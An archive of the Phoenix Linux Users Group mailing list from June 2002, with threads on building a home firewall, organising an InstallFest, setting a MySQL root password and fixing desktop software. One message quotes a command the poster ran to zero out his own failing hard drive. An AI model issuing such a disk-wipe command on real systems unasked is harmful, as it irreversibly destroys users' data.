first 4 > > port hub but my parents are wierd and i doubt they would let me do that, > > so i will probably be putting it in front of my hub. I really just want > > something to keep unwanted things out of my box. Plus i also want to set > > up a web/ftp/email server sometime in the near future but thats soemthing > > else alltogether :) Any help is apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:23:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Wed, 05 Jun 2002 22:23:51 -0700 Subject: Contact for installfest References: <20020605202350.55136.qmail@web13904.mail.yahoo.com> <02060515573215.00730@nova.wedge.org> Message-ID: <3CFEF1E7.D46356DB@leml.asu.edu> Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Bill is the coordinator for the Install Fest. > > And we will indubitably be keeping tabs on how successful every install goes > and if a problem crops up, we should be noting the reason(s). networked bugtracker ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:32:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 22:32:13 -0700 (PDT) Subject: Who are the sponsors? In-Reply-To: Message-ID: I wonder if Intel would be willing to help out? Especially since they're giving a presentation to the PLUG next week... Could whoever is in contact with them for their presentation ask them if they'd like to be involved in the InstallFest? On Thu, 6 Jun 2002 alandd@mindspring.com wrote: > The "official" sponsor list so far is on the sponsors page at the install fest web site. I have many more in the works but no firm commitments from them yet. > > I have called/emailed them asking for commitments or they will miss out on being listed in published materials. I will let you know when then come in. > > Alan > > On Wed, 5 Jun 2002 19:00:13 -0700 Dennis Kibbe wrote: > > If someone will give me a list of "offical" sponsors to be included in the PR > I'll add that tonight and post it back to the list. > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:45:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 22:45:20 -0700 Subject: firewall In-Reply-To: <20020605212436.5f796901.snoogans@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> <200206060301.XAA32236@hostinworld6.com> <20020605212436.5f796901.snoogans@qwest.net> Message-ID: <200206060545.BAA20309@hostinworld6.com> I don't remeber exactly how I did it but I think I mounted the ISO, copied the .tgz file from inside the mount to my webserver and created a boot floppy from the files in the images/ directory at the same time, I think. On 05 Jun 2002 21:24:36 -0700, robert jorgenson wrote: > >From thier site it appears you need a 20MB cd iso image to install smoothwall ... am i missing something somewhere? > > On 05 Jun 2002 20:00:31 -0700 > "Bryce C." wrote: > > > I've got a box nearly identical to that running smoothwall for my > > network. I've actually got a 13Gb in it, (yes I know it's overkill but > > it's for caching my little modem connection). It did have a floppy and > > cdrom but I pulled those for other computers because it didn't need > > them. Just the floppy drive was all that I needed for install w/network > > option. Best router in my opinion it doesn't take forever to boot as > > with floppies. Also, great user interface! (Especially once you edit > > the files and remove the banners!) Just try it and you'll be amazed. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 port hub--My main box > > > > > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:51:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 22:51:01 -0700 (PDT) Subject: firewall In-Reply-To: <20020605212436.5f796901.snoogans@qwest.net> Message-ID: <20020606055101.25994.qmail@web13904.mail.yahoo.com> If you download the user guide, which is also an installation guide it gives details on how to install without a cd-rom. You do need an HTTP or an FTP server on your own private network to get it done. The user guide explains it all. mike --- robert jorgenson wrote: > From thier site it appears you need a 20MB cd iso > image to install smoothwall ... am i missing > something somewhere? > > On 05 Jun 2002 20:00:31 -0700 > "Bryce C." wrote: > > > I've got a box nearly identical to that running > smoothwall for my > > network. I've actually got a 13Gb in it, (yes I > know it's overkill but > > it's for caching my little modem connection). It > did have a floppy and > > cdrom but I pulled those for other computers > because it didn't need > > them. Just the floppy drive was all that I needed > for install w/network > > option. Best router in my opinion it doesn't take > forever to boot as > > with floppies. Also, great user interface! > (Especially once you edit > > the files and remove the banners!) Just try it > and you'll be amazed. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson > wrote: > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its got a floppy drive and a 2 gig > HD(couldn't find anything smaller), a 3com NIC, a > realtek NIC, 64 megs of RAM and i was wondering what > would be a good small firewall distro that i could > install without a cdrom. Right now my setup is like > this ... > > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 > port hub--My main box > > > > > > Im thinking it would be best to put the firewall > infront of the first 4 port hub but my parents are > wierd and i doubt they would let me do that, so i > will probably be putting it in front of my hub. I > really just want something to keep unwanted things > out of my box. Plus i also want to set up a > web/ftp/email server sometime in the near future but > thats soemthing else alltogether :) Any help is > apreciated thanks :) > > > > > > ________________________________________________ > > > See > http://PLUG.phoenix.az.us/navigator-mail.shtml if > your mail doesn't post to the list quickly and you > use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:22:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 23:22:18 -0700 Subject: firewall In-Reply-To: <20020606055101.25994.qmail@web13904.mail.yahoo.com> References: <20020605212436.5f796901.snoogans@qwest.net> <20020606055101.25994.qmail@web13904.mail.yahoo.com> Message-ID: <20020605232218.1a498f78.snoogans@qwest.net> Can i set up smoothwall so i still go through the qwest box for the dhcp server? Or will i have to split the main internet line to go through the smoothwall box and the qwest gatewaybox(for the wierd parents) and just have my own network? Also which option would be more secure? On Wed, 5 Jun 2002 22:51:01 -0700 (PDT) "MCR" wrote: > If you download the user guide, which is also an > installation guide it gives details on how to install > without a cd-rom. You do need an HTTP or an FTP > server on your own private network to get it done. > The user guide explains it all. > mike > > --- robert jorgenson wrote: > > From thier site it appears you need a 20MB cd iso > > image to install smoothwall ... am i missing > > something somewhere? > > > > On 05 Jun 2002 20:00:31 -0700 > > "Bryce C." wrote: > > > > > I've got a box nearly identical to that running > > smoothwall for my > > > network. I've actually got a 13Gb in it, (yes I > > know it's overkill but > > > it's for caching my little modem connection). It > > did have a floppy and > > > cdrom but I pulled those for other computers > > because it didn't need > > > them. Just the floppy drive was all that I needed > > for install w/network > > > option. Best router in my opinion it doesn't take > > forever to boot as > > > with floppies. Also, great user interface! > > (Especially once you edit > > > the files and remove the banners!) Just try it > > and you'll be amazed. > > > > > > Bryce C. > > > Network Administrator > > > CoBryce Communications > > > Bryce @ BryceCo . Net > > > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson > > wrote: > > > > Ok i got this P1 200 mhz box here i want to turn > > into a firewall, its got a floppy drive and a 2 gig > > HD(couldn't find anything smaller), a 3com NIC, a > > realtek NIC, 64 megs of RAM and i was wondering what > > would be a good small firewall distro that i could > > install without a cdrom. Right now my setup is like > > this ... > > > > > > > > > > Parents Wintendo Box > > > > / > > > > Internet--qwest gateway box--4 port hub--[ > > > > \ > > > > 8 > > port hub--My main box > > > > > > > > Im thinking it would be best to put the firewall > > infront of the first 4 port hub but my parents are > > wierd and i doubt they would let me do that, so i > > will probably be putting it in front of my hub. I > > really just want something to keep unwanted things > > out of my box. Plus i also want to set up a > > web/ftp/email server sometime in the near future but > > thats soemthing else alltogether :) Any help is > > apreciated thanks :) > > > > > > > > ________________________________________________ > > > > See > > http://PLUG.phoenix.az.us/navigator-mail.shtml if > > your mail doesn't post to the list quickly and you > > use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:25:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Wed, 5 Jun 2002 23:25:52 -0700 Subject: Random stuff to give away Message-ID: <200206052325.52735@granroth.org> I have the following list of random distributions and stuff that I no longer use. If anybody wants it, they can have it. Perhaps some of it could be used for the InstallFest? Or door prizes? Or whatever... All the distributions are the retail boxed versions (no "download" or "gpled" ones). They all come with all necessary CDs, boot disks (and DVDs, in the case of SuSE 7.x) and manuals. The SuSE ones (unless noted) may or may not have all the stickers and tie tacks and the like. I don't think I'll be making any meetings any time soon so if you want any of this, you'll have to stop on by my house and pick 'em up. Give me a private email for directions. ----------------------------------------------------------------------- Red Hat Linux 6.0 Red Hat Linux 6.1 Deluxe Red Hat Linux 6.2 Deluxe Red Hat Linux 7.0 Standard SuSE 6.2 [1] SuSE 6.3 (Missing CD1 -- am looking for it now) SuSE 6.4 German [2] SuSE 7.0 Professional SuSE 7.1 Professional [3] SuSE 7.1 Professional SuSE 7.2 Professional Debian 2.1 Boxed Set [4] Storm Linux 2000 [5] Mandrake Linux 7.1 Essential Caldera OpenLinux 2.3 [6] KDE 2.0 Development Book (4 copies) [7] [1] Also includes a full set of the German CDs which come with the crypto packages (ssh, pgp, etc). The US CDs did not, back then [2] This is the German version. All the CDs installation is in English but the docs are all in German. [3] This is like new! I opened it once but never used it. It includes everything. [4] This is the boxed set that VA Linux and SGI were distributing awhile back. Even if you don't use the CD, the included O'Reilly "Learning Debian GNU/Linux" book(!) (and Debian quick-start booklet and Debian bumper sticker) make this worth having. [5] I got this at a show but never even opened it (no spare boxes). It's a Debian based system with a graphical installation. Looks slick but Storm has since gone out of business. [6] Older, but was first distro to come with Partition Magic and a full graphical installation. [7] This is *the* "how to develop KDE applications" book. Most of it applies to KDE 3.x as well. A $50 value :-) ISBN: 0-672-31891-1 -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:56:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 5 Jun 2002 23:56:14 -0700 Subject: DVD Player on Linux In-Reply-To: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> References: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: <200206052356.21652.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 05 June 2002 20:06, Yicheng Li wrote: > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? Although I haven't tried the other software, I used to use VideoLAN (videolan.org) for playing DVDs. I know I used it for encrypted DVDs, but I no longer see any mention of that, so perhaps the feature was removed? - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/weSpNoctRtUIRQRAjJlAJ9ARKxYSftI2yDycCxzNVXXsov0uQCfUUkM XzUT+kxlXsRCu3GfdeYiu1k= =rdgK -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:03:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Wed, 5 Jun 2002 23:03:35 -0700 Subject: Who are the sponsors? In-Reply-To: References: Message-ID: <200206052303.35268.alandd@mindspring.com> That would be me. I have asked them about it but had no solid response. I will jog them again. Alan On Wednesday 05 June 2002 10:32 pm, Matt Alexander wrote: > I wonder if Intel would be willing to help out? Especially since they're > giving a presentation to the PLUG next week... > Could whoever is in contact with them for their presentation ask them if > they'd like to be involved in the InstallFest? From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 08:41:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 6 Jun 2002 01:41:06 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <20020606014106.243d55c9.snoogans@qwest.net> Okay after trying to set this up i failed ... If i brought this box and all the applicable information into the installfest would someone be able to help me set it up? On Wed, 5 Jun 2002 18:36:27 -0700 "robert jorgenson" wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 09:19:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 6 Jun 2002 02:19:15 -0700 (MST) Subject: firewall In-Reply-To: <20020606014106.243d55c9.snoogans@qwest.net> Message-ID: Am 06. Jun, 2002 schwätzte robert jorgenson so: > Okay after trying to set this up i failed ... If i brought this box and > all the applicable information into the installfest would someone be able > to help me set it up? certainly. ciao, der.hans -- # https://www.LuftHans.com/ # Don't step in front of speeding cars, don't eat explosives # and don't use m$ LookOut :). - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 09:33:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 6 Jun 2002 02:33:02 -0700 (PDT) Subject: firewall In-Reply-To: <20020606014106.243d55c9.snoogans@qwest.net> Message-ID: <20020606093302.38647.qmail@web13907.mail.yahoo.com> I do have a cd for it, I will also put the installation manual on the cd for reference and bring it to the installfest. I am sure something can be figured out. Can you install a cd-rom just for the installation. I have one laying around that I could bring. mike --- robert jorgenson wrote: > Okay after trying to set this up i failed ... If i > brought this box and all the applicable information > into the installfest would someone be able to help > me set it up? > > > On Wed, 5 Jun 2002 18:36:27 -0700 > "robert jorgenson" wrote: > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its got a floppy drive and a 2 gig > HD(couldn't find anything smaller), a 3com NIC, a > realtek NIC, 64 megs of RAM and i was wondering what > would be a good small firewall distro that i could > install without a cdrom. Right now my setup is like > this ... > > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port > hub--My main box > > > > Im thinking it would be best to put the firewall > infront of the first 4 port hub but my parents are > wierd and i doubt they would let me do that, so i > will probably be putting it in front of my hub. I > really just want something to keep unwanted things > out of my box. Plus i also want to set up a > web/ftp/email server sometime in the near future but > thats soemthing else alltogether :) Any help is > apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 11:47:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 6 Jun 2002 04:47:43 -0700 Subject: firewall In-Reply-To: <20020606093302.38647.qmail@web13907.mail.yahoo.com> References: <20020606014106.243d55c9.snoogans@qwest.net> <20020606093302.38647.qmail@web13907.mail.yahoo.com> Message-ID: <20020606044743.41a758fb.snoogans@qwest.net> After soem testing it looks like my HD is fried, booted from a couple of debian install disks and tried to format the disk clean and got a ton of IO errors =/ i tried dd if=/dev/zero of=/dev/hda on it and it gave the same error with 1 in and 0 out. Ill prolly have to stop by that computer swap mart to try and find something affordable for it. Anyone know about how much a small hard drive would cost or have one lying around they can sell? On Thu, 6 Jun 2002 02:33:02 -0700 (PDT) "MCR" wrote: > I do have a cd for it, I will also put the > installation manual on the cd for reference and bring > it to the installfest. I am sure something can be > figured out. Can you install a cd-rom just for the > installation. I have one laying around that I could > bring. > > mike > > > > > --- robert jorgenson wrote: > > Okay after trying to set this up i failed ... If i > > brought this box and all the applicable information > > into the installfest would someone be able to help > > me set it up? > > > > > > On Wed, 5 Jun 2002 18:36:27 -0700 > > "robert jorgenson" wrote: > > > > > Ok i got this P1 200 mhz box here i want to turn > > into a firewall, its got a floppy drive and a 2 gig > > HD(couldn't find anything smaller), a 3com NIC, a > > realtek NIC, 64 megs of RAM and i was wondering what > > would be a good small firewall distro that i could > > install without a cdrom. Right now my setup is like > > this ... > > > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 port > > hub--My main box > > > > > > Im thinking it would be best to put the firewall > > infront of the first 4 port hub but my parents are > > wierd and i doubt they would let me do that, so i > > will probably be putting it in front of my hub. I > > really just want something to keep unwanted things > > out of my box. Plus i also want to set up a > > web/ftp/email server sometime in the near future but > > thats soemthing else alltogether :) Any help is > > apreciated thanks :) > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:51:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Thu, 6 Jun 2002 06:51:11 -0700 Subject: flyer In-Reply-To: <02060605483917.00730@nova.wedge.org> References: <02060605483917.00730@nova.wedge.org> Message-ID: <200206060651.11750.dennisk@sahuaro.f2s.com> A couple of comments on the flyer. I think of advertising in terms of how it would work as a billboard along the freeway. While driving I've got about 3 seconds to take in the message, if the ad doesn't present the key points in that length of time it fails for me. The old advertising adage "Don't write, telegraph!" applies. With that in mind, I'd make the following changes. 1. Use a simpler, bold type face for the headline (Helvetica always works). It will increase the readability and credibility of the ad. 2. Think about replacing GNU/Linux with Linux in the headline to increase readability. People have hear of Linux, but will be confused by GNU/. We can educate them later. 3. Follow the headline with when and where the event is taking place. If all a person remembers from glancing at the flyer is Linux - June 22nd - SCC. The flyer will have done it's job. If there is room put the campus map at the bottom with the Student Center marked. 4. Think about making the graphics smaller than the headline. Seeing the gnu and penguin first, most people will think "animal event" not "computer event" 5. Place a phone number in large bold type at the bottom that people can call for more info. They will jot it down. 6. I think there needs to be more emphasis on the fact that the event is free. Replace "Free and Open to All" with something like "Free Linux Installation Help" This will tell people what the event is about and that there is no charge . Use the word "free" prominently elsewhere in the ad. We can educate them about Free later. 7. Look at the overall wording of the ad and think "Don't write, telegraph!" Rewrite as needed. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:53:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 6 Jun 2002 06:53:22 -0700 Subject: OO Rocks Message-ID: <02060606532218.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to Matt, I have installed Open Office on both my Linux box and my wife's Windows 98 box. She works for Wendy's and occasionally gets email from corporate that contains .doc and .xls files. With OO, she has no problem reading, modifying, and printing the documents at a heck of a lower cost than using MS Office. Kudos to the Open Office team for doing a great job. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP9pUysk3ywszI1FEQImRACferdTkaRv++yCQd+h06IkIEs26A0AnjrH 5CvuzxfsrBag/A7r8rCCgwKJ =Ur4e -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 06 Jun 2002 06:54:35 -0700 Subject: mysqld Message-ID: <1023371676.4787.3.camel@barney.azapple.com> dummy me - I started the mysqld without a password and now I can't log in to make changes and set up users. How can I log in without a password? It won't let me log in without a password but there never was any - it's a new installation. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 14:34:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Thu, 6 Jun 2002 07:34:58 -0700 (MST) Subject: mysqld In-Reply-To: <1023371676.4787.3.camel@barney.azapple.com> Message-ID: According to my reference, 'PHP and MySQL Web Development', after making and installing mysql: # scripts/mysql_install_db # cd /usr/local/mysql/bin # ./safe_mysqld & # ./mysqladmin - u root password 'new-password' You may have to kill mysqld, or you might get a way with just the last command to set the root password- it's been a while since I installed mysql but these are the steps took. On 6 Jun 2002, Craig White wrote: > dummy me - I started the mysqld without a password and now I can't log > in to make changes and set up users. How can I log in without a > password? It won't let me log in without a password but there never was > any - it's a new installation. > > Craig > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 15:30:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 6 Jun 2002 08:30:02 -0700 Subject: Flyer rewrite Message-ID: <1023377401.3cff7ffa0486b@webmail.freedom2surf.net> On the bus going to work this morning I did a quick rewrite of the flyer text. Here it is. . . Linux InstallFest June 22nd, 10 a.m. - 4 p.m. Scottsdale Community College Free Linux Installation Help The Phoenix Linux Users Group and Scottsdale Community College present an opportunity for you to learn more about the GNU/Linux operating system - the freely available, secure operating system that runs on ordinary personal computers. Find out why: * Linux offers more freedom and security than your present operating system * Is considered by computer experts the next development in operating systems * Major governments and companies like IBM, HP, Sun, DreamWorks, and Dell are excited about Linux and are using it in their business. * Protects your freedom from software obsolesce and being locked into increasingly higher upgrade costs PLUG members will be available to answer your questions and demonstrate what Linux can do for you. Bring your computer and a PLUG expert will help you install Linux along side your current operating system for free. This is a free event sponsored by PLUG, Scottsdale Comunnity College along with Red Hat Linux, Yellow Dog Linux, TurboLinux, SuSE Linux. For more information please call PLUG member Bill Lindley at 480-947-6100 or visit the PLUG website. --------- Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 16:07:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 09:07:21 -0700 Subject: mozilla 1.0 Message-ID: <200206060907.21182.zen2now@qwest.net> good morning all, i just installed mozilla 1.0 from rpm's which i downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am running KDE 3.0, mozilla seems to run fine but now when i try to open Evolution i get these warnings: [xxx@xxx xxx]$ evolution evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Addressbook_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Addressbook_ShellComponent evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Mail_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Mail_ShellComponent evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Calendar_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Calendar_ShellComponent evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' 